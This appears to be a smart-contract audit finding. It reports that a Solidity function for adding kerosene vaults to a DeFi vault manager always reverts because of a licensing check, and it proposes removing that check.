}addKerosine() is intended to add BoundedKerosineVault and UnboundedKerosineVault to the VaultManagerV2. But since the addKerosine() check if the vault isLicensed in KerosineManager it will always revert for kerosine vaults, because in KerosineManager are stored only the exogenous vaults based on which the kerosine price is determined.
KerosineManager kerosineManager = new KerosineManager();
kerosineManager.add(address(ethVault));
kerosineManager.add(address(wstEth));function addKerosene(
uint id,
address vault
)
external
isDNftOwner(id)
{
if (vaultsKerosene[id].length() >= MAX_VAULTS_KEROSENE) revert TooManyVaults();
if (!keroseneManager.isLicensed(vault)) revert VaultNotLicensed();
if (!vaultsKerosene[id].add(vault)) revert VaultAlreadyAdded();
emit Added(id, vault);
}Manual Review
Since only exogenous vaults will be added in KerosineManager, make sure you can also add kerosene vaults in addKerosine(), by removing this check.